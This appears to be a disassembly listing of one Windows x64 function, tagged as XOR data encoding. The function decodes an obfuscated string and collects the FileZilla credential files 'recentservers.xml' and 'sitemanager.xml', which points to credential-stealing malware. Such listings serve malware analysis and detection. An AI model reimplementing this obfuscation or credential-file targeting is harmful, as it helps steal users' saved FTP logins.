Function at 0x140010c70
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x14002d040]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rdi, rdx
mov qword [rbp - 0x31], rdx
xor ebx, ebx
mov dword [rbp - 0x39], ebx
mov qword [rdx], rbx
mov qword [rdx + 8], rbx
mov qword [rdx + 0x10], rbx
mov dword [rbp - 0x39], 1
lea rcx, [rbp + 7]
call fcn.140007960
mov rsi, rax
movsd xmm0, qword [str.jqQU_aUQR]
movsd qword [rbp - 0x29], xmm0
mov eax, dword [0x1400253a0]
mov dword [rbp - 0x21], eax
cmp byte [0x1400253a3], bl
je 0x140010e0c
cmp dword [0x14002d090], 2
jl 0x140010dd5
movdqa xmm4, xmmword [0x140025c10]
movdqa xmm2, xmmword [0x140025bc0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025be0]
psubd xmm2, xmm0
andps xmm2, xmmword [0x140025bf0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140025c00]
movd xmm0, dword [str.jqQU_aUQR]
xorps xmm2, xmm0
movd dword [rbp - 0x29], xmm2
movdqa xmm2, xmmword [0x140025bd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025be0]
psubd xmm2, xmm0
andps xmm2, xmmword [0x140025bf0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140025c00]
movd xmm0, dword [rbp - 0x25]
xorps xmm2, xmm0
movd dword [rbp - 0x25], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rbp - 0x29]
add r8, rax
nop
mov eax, 0x5397829d
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, bl
sub al, cl
add al, 0x36
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xc
jl 0x140010de0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
lea rax, [rbp - 0x29]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010e26
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x19]
call fcn.1400013b0
nop
lea rdx, [rbp - 0x19]
cmp qword [rbp - 1], 0xf
cmova rdx, qword [rbp - 0x19]
mov r8, qword [rbp - 9]
mov rcx, rsi
call fcn.1400169b0
mov rdx, rax
lea rcx, [rbp + 0x27]
call fcn.140015ed0
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140010ea4
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010e9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010e9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140010ee2
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010edd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010edd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
movdqa xmm0, xmmword [0x140025ba0]
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 7], 0
mov r8d, 0x11
lea rdx, str.recentservers.xml
lea rcx, [rbp + 0x27]
call fcn.1400169b0
mov r8, rax
mov rax, qword [rdi + 8]
cmp rax, qword [rdi + 0x10]
je 0x140010f28
mov rdx, r8
mov rcx, rax
call fcn.140015ed0
add qword [rdi + 8], 0x20
jmp 0x140010f33
mov rdx, rax
mov rcx, rdi
call fcn.140019ab0
mov r8d, 0xf
lea rdx, str.sitemanager.xml
lea rcx, [rbp + 0x27]
call fcn.1400169b0
mov r8, rax
mov rax, qword [rdi + 8]
cmp rax, qword [rdi + 0x10]
je 0x140010f68
mov rdx, r8
mov rcx, rax
call fcn.140015ed0
add qword [rdi + 8], 0x20
jmp 0x140010f74
mov rdx, rax
mov rcx, rdi
call fcn.140019ab0
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x140010fb2
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010fad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010fad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
mov rax, rdi
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140021970
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret